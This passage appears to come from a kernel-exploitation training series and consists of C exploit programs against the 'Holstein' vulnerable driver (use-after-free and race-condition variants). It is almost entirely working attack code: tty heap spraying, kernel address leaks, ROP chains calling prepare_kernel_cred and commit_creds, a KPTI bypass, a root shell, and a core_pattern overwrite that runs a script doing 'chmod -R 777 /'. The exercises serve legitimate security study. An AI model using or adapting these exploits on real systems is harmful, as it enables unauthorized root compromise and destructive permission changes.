#define CORE_PATTERN_OFFSET (0xffffffff81eb0b20 - KERNEL_BASE)
#define CORE_PATTERN_ADDR (kernel_base + CORE_PATTERN_OFFSET)

uint64_t kernel_base, g_buf_addr;

int main() {
  char buf[VULN_BUFFER_SIZE * 2];

  int tty_spray[100];
  for (int i = 0; i < 50; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      printf("[-] Failed to open tty\n");
      return -1;
    }
  }

  int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (fd < 0) {
    printf("[-] Failed to open " VULN_DEVICE_NAME "\n");
    return -1;
  }

  for (int i = 50; i < 100; ++i) {
    tty_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (tty_spray[i] < 0) {
      printf("[-] Failed to open tty\n");
      return -1;
    }
  }

  read(fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x400 + 0x08 * 3) - 0xc38880;
  g_buf_addr = *(uint64_t *)(buf + 0x400 + 0x08 * 7) - 0x438;
  if (kernel_base & 0xFFFFFF != 0) {
    printf("[-] Failed to leak kernel base\n");
    return -1;
  }
  if (g_buf_addr & 0xFF != 0) {
    printf("[-] Failed to leak g_buf base\n");
    return -1;
  }
#if PRINT_DEBUG == 1
  printf("[*] kernel_base: %p\n", (void *)kernel_base);
  printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = 0xdeadbeefcafebebe;  // overwrite ioctl
  *(uint64_t *)(buf + 0x400 + 0x08 * 3) = g_buf_addr - 0x0c * 8;
  write(fd, buf, sizeof(buf));

#define AAW_INST_ADDR MOV_DWORD_PTR_RDX_ECX
#define AAR_INST_ADDR MOV_EAX_DWORD_PTR_RDX
#define SET_IOCTL_INST_ADDR(ADDR)          \
  ({                                       \
    *(uint64_t *)(buf) = (uint64_t)(ADDR); \
    write(fd, buf, sizeof(buf));           \
  })
  SET_IOCTL_INST_ADDR(AAR_INST_ADDR);
  uint64_t modified_tty_fd = 0;
  for (int i = 0; i < 100; ++i) {
    if (ioctl(tty_spray[i], 0x00, g_buf_addr) == *(uint32_t *)buf) {
      modified_tty_fd = tty_spray[i];
      break;
    }
  }
#define AAW32(ADDR, VAL)                                  \
  ({                                                      \
    ioctl(modified_tty_fd, (uint32_t)(VAL),               \
          (uint64_t)(ADDR)); /*RCX <- ARG1, RDX <- ARG2*/ \
  })
#define AAR32(ADDR)                                                \
  ({                                                               \
    uint32_t ret = ioctl(modified_tty_fd, 0x00, (uint64_t)(ADDR)); \
    ret;                                                           \
  })

  const char kRunEvilCmd[] = "|/tmp/evil.sh";
  SET_IOCTL_INST_ADDR(AAW_INST_ADDR);
  for (int i = 0; i < sizeof(kRunEvilCmd); i += 4) {
    AAW32(CORE_PATTERN_ADDR + i, *(uint32_t *)(kRunEvilCmd + i));
  }
  system("echo -e '#!/bin/sh\nchmod -R 777 /' > /tmp/evil.sh");
  system("chmod +x /tmp/evil.sh");

  system("ulimit -c unlimited");
  uint64_t *evil_ptr = (uint64_t *)0xdeadbeefcafebebe;
  *evil_ptr = 0xdeadbeefcafebebe;

#undef SET_IOCTL_INST_ADDR
#undef AAR32
#undef AAW32

  close(fd);
  for (int i = 0; i < 100; ++i) {
    close(tty_spray[i]);
  }
  return 0;
}

LK01-3 (Holstein v3: Use-after-Free)

      #include <assert.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_XOR_EAX_POP_RSP_RBP_OFFSET (0xffffffff8114fbea - KERNEL_BASE)
#define PUSH_RDX_XOR_EAX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_XOR_EAX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8114078a - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81072560 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff810eb7e4 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff81638e9b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810723c0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
#if PRINT_DEBUG == 1
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char *argv[] = {"/bin/sh", NULL};
  char *envp[] = {NULL};
  puts("[+] Get shell!");
  execve("/bin/sh", argv, envp);
}

int main() {
  char buf[VULN_BUFFER_SIZE];

  save_state();

  int tmp_fd1 = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (tmp_fd1 < 0) {
    return -1;
  }

  int rop_and_vtable_fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (rop_and_vtable_fd < 0) {
    return -1;
  }
  close(tmp_fd1);
  int tmp_tty1 = open("/dev/ptmx", O_NOCTTY);
  if (tmp_tty1 < 0) {
    return -1;
  }
  read(rop_and_vtable_fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x08 * 3) - 0xc39c60;
  g_buf_addr = *(uint64_t *)(buf + 0x08 * 7) - 0x38;

#if PRINT_DEBUG == 1
  if (kernel_base & 0xFFFFFF != 0) {
    printf("[-] Failed to leak kernel base\n");
    return -1;
  }
  if (g_buf_addr & 0xFF != 0) {
    printf("[-] Failed to leak g_buf base\n");
    return -1;
  }
  printf("[*] kernel_base: %p\n", (void *)kernel_base);
  printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = PUSH_RDX_XOR_EAX_POP_RSP_RBP;  // overwrite ioctl
  *rop_buf++ = POP_RDI;
  *rop_buf++ = 0;
  *rop_buf++ = PREPARE_KERNEL_CRED;
  *rop_buf++ = POP_RCX;
  *rop_buf++ = 0;
  *rop_buf++ = MOV_RDI_RAX_REP;
  *rop_buf++ = COMMIT_CREDS;
  *rop_buf++ = BYPASS_KPTI;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(rop_and_vtable_fd, buf, sizeof(buf));

  int tmp_fd2 = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (tmp_fd2 < 0) {
    return -1;
  }
  int uaf_fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (uaf_fd < 0) {
    return -1;
  }
  close(tmp_fd2);
  int tty_fd = open("/dev/ptmx", O_NOCTTY);
  if (tty_fd < 0) {
    return -1;
  }
  read(uaf_fd, buf, sizeof(buf));
  *(uint64_t *)(buf + 8 * 3) = g_buf_addr - 0xC * 8;
  write(uaf_fd, buf, sizeof(buf));

  ioctl(tty_fd, 0x00, g_buf_addr);

  return 0;
}

LK01-4 (Holstein v4: Race Condition)

      #define _GNU_SOURCE
#include <bits/syscall.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP_OFFSET \
  (0xffffffff81137da8 - KERNEL_BASE)
#define PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff810b13c5 - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81072580 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_RBX_RBP_OFFSET (0xffffffff813006fc - KERNEL_BASE)
#define POP_RCX_RBX_RBP (kernel_base + POP_RCX_RBX_RBP_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8165094b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810723e0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

pid_t gettid(void) { return syscall(SYS_gettid); }

static int next_fd1 = -1, next_fd2 = -1;
static int vuln_fd1 = -1, vuln_fd2 = -1;
static int race_win = 0;

void find_next_fds() {
  next_fd1 = open("/tmp", O_RDONLY);
  next_fd2 = open("/tmp", O_RDONLY);
  close(next_fd1);
  close(next_fd2);
}

void* race_vuln_dev(void* args) {
  cpu_set_t* cpu_set = (cpu_set_t*)args;
  if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set)) {
    fatal("sched_setaffinity");
  }

  while (1) {
    while (!race_win) {
      int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
      if (fd == -1) {
        continue;
      }
      if (fd == next_fd2) {
        race_win = 1;
      }
      if (race_win == 0) {
        close(fd);
      }
    }

    if (write(next_fd1, "A", 1) != 1 || write(next_fd2, "a", 1) != 1) {
      close(next_fd1);
      close(next_fd2);
      race_win = 0;
    } else {
      vuln_fd1 = next_fd1;
      vuln_fd2 = next_fd2;
      break;
    }
    usleep(1000);
  }

  return NULL;
}

void* spray_ptmx(void* args) {
  cpu_set_t* cpu_set = (cpu_set_t*)args;
  if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set)) {
    fatal("sched_setaffinity");
  }

  uint64_t val = 0;
  uint64_t ptmx_spray[800];

  for (int i = 0; i < 800; ++i) {
    usleep(50);
    ptmx_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (ptmx_spray[i] == -1) {
      for (int j = 0; j < i; ++j) {
        close(ptmx_spray[j]);
      }
      return (void*)-1;
    }

    if (read(vuln_fd2, &val, sizeof(val)) == sizeof(val) &&
        val == 0x100005401) {
      for (int j = 0; j < i; ++j) {
        close(ptmx_spray[j]);
      }
      return (void*)ptmx_spray[i];
    }
  }

  for (int i = 0; i < 800; ++i) {
    close(ptmx_spray[i]);
  }
  return (void*)-1;
}

int create_overlapped_fd() {
  pthread_t th[2];
  cpu_set_t cpu[2];
  char buf[0x10] = {
      0,
  };

  CPU_ZERO(&cpu[0]);
  CPU_ZERO(&cpu[1]);
  CPU_SET(0, &cpu[0]);
  CPU_SET(1, &cpu[1]);

  find_next_fds();
#if PRINT_DEBUG == 1
  printf("[*] next_fd1: %d, next_fd2: %d\n", next_fd1, next_fd2);
#endif

  pthread_create(&th[0], NULL, race_vuln_dev, (void*)&cpu[0]);
  pthread_create(&th[1], NULL, race_vuln_dev, (void*)&cpu[1]);
  pthread_join(th[0], NULL);
  pthread_join(th[1], NULL);

#if PRINT_DEBUG == 1
  printf("[*] vuln_fd1: %d, vuln_fd2: %d\n", vuln_fd1, vuln_fd2);
#endif

  const char* kTestString = "Hello,Uniguri";
  const size_t kTestStringLen = strlen(kTestString);
  int t = write(next_fd1, kTestString, kTestStringLen);
  t &= read(next_fd2, buf, kTestStringLen);
  if (t != kTestStringLen || strcmp(buf, kTestString)) {
    fatal("Race fail");
  }
#if PRINT_DEBUG == 1
  puts("[+] race success");
#endif
  memset(buf, 0, sizeof(buf));
  write(vuln_fd1, buf, sizeof(buf));

  close(vuln_fd1);
  usleep(2000);

  int loop_cnt = 0;
  int overlapped_ptmx_fd = (int)(uint64_t)spray_ptmx((void*)&cpu[0]);
  while (overlapped_ptmx_fd == -1 && loop_cnt++ < 100) {
#if PRINT_DEBUG == 1
    puts("[*] Spraying ptmx on another CPU");
#endif
    pthread_create(&th[0], NULL, spray_ptmx, (void*)&cpu[1]);
    pthread_join(th[0], (void*)&overlapped_ptmx_fd);
  }
  if (overlapped_ptmx_fd == -1) {
    fatal("overlapped_ptmx_fd");
  }

#if PRINT_DEBUG == 1
  printf("[+] Overlap success: ptmx=%d\n", overlapped_ptmx_fd);
#endif
  return overlapped_ptmx_fd;
}

uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
#if PRINT_DEBUG == 1
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  puts("[+] Get shell!");
  execve("/bin/sh", argv, envp);
}

int main(void) {
  char buf[VULN_BUFFER_SIZE] = {
      0,
  };

  save_state();

  create_overlapped_fd();

  read(vuln_fd2, buf, sizeof(buf));
  kernel_base = *(uint64_t*)(buf + 8 * 3) - 0xc3aec0;
  g_buf_addr = *(uint64_t*)(buf + 8 * 9) - 0x48;
  if ((kernel_base & 0xFFF) != 0) {
#if PRINT_DEBUG == 1
    puts("[-] Adjust kernel_base");
#endif
    kernel_base &= (~0xFFF);
  }
  if (0xffffffff81000000 > kernel_base || kernel_base > 0xffffffffc0000000) {
    fatal("kernel_base");
  }
#if PRINT_DEBUG == 1
  printf("[+] kernel_base: 0x%lx, g_buf_addr: 0x%lx\n", kernel_base,
         g_buf_addr);
#endif

  uint64_t* rop_buf = (uint64_t*)buf;
  *rop_buf++ = PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP;  // overwrite ioctl
  *rop_buf++ = POP_RDI;
  *rop_buf++ = 0;
  *rop_buf++ = PREPARE_KERNEL_CRED;
  *rop_buf++ = POP_RCX_RBX_RBP;
  *rop_buf++ = 0;
  *rop_buf++ = 0;
  *rop_buf++ = 0;
  *rop_buf++ = MOV_RDI_RAX_REP;
  *rop_buf++ = COMMIT_CREDS;
  *rop_buf++ = BYPASS_KPTI;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(vuln_fd2, buf, sizeof(buf));

  int overlapped_ptmx = create_overlapped_fd();
  read(vuln_fd2, buf, sizeof(buf));
  uint64_t tmp_kernel_base = *(uint64_t*)(buf + 8 * 3) - 0xc3aec0;
  if ((tmp_kernel_base & 0xFFF) != 0) {
    tmp_kernel_base &= (~0xFFF);
  }
  if (tmp_kernel_base != kernel_base) {
    fatal("kernel_base");
  }
  *(uint64_t*)(buf + 8 * 3) = g_buf_addr - 0xC * 8;
  write(vuln_fd2, buf, sizeof(buf));

  ioctl(overlapped_ptmx, 0x00, g_buf_addr);

  return 0;
}

Reference